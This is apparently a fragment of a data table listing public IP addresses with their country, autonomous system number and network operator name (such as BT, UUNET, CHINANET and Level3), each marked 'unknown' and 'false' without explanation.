 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
86.180.214.70
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
189.237.218.69
 unknown Mexico
8151 UninetSAdeCVMX false
208.210.124.45
 unknown United States
701 UUNETUS false
193.69.222.239
 unknown Norway
2116 ASN-CATCHCOMNO false
158.87.129.6
 unknown United States
20379 NET-BAKERUS false
170.20.52.10
 unknown United States
6102 CBSCORPORATEUS false
64.78.99.51
 unknown United States
16406 AS-INTERMEDIAUS false
200.185.162.44
 unknown Brazil
16685 TIVITTERCEIRIZACAODEPROCESSOSSERVETECSABR false
135.54.76.31
 unknown United States
54614 CIKTELECOM-CABLECA false
197.165.148.249
 unknown Egypt
24863 LINKdotNET-ASEG false
192.40.106.49
 unknown United States
54086 SINGLE-DIGITSUS false
122.240.106.88
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
212.154.24.172
 unknown Turkey
12735 ASTURKNETTR false
185.53.101.85
 unknown Albania
197706 KEMINETAL false
9.204.135.86
 unknown United States
3356 LEVEL3US false
177.171.82.206
 unknown Brazil
26599 TELEFONICABRASILSABR false
49.83.24.218
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false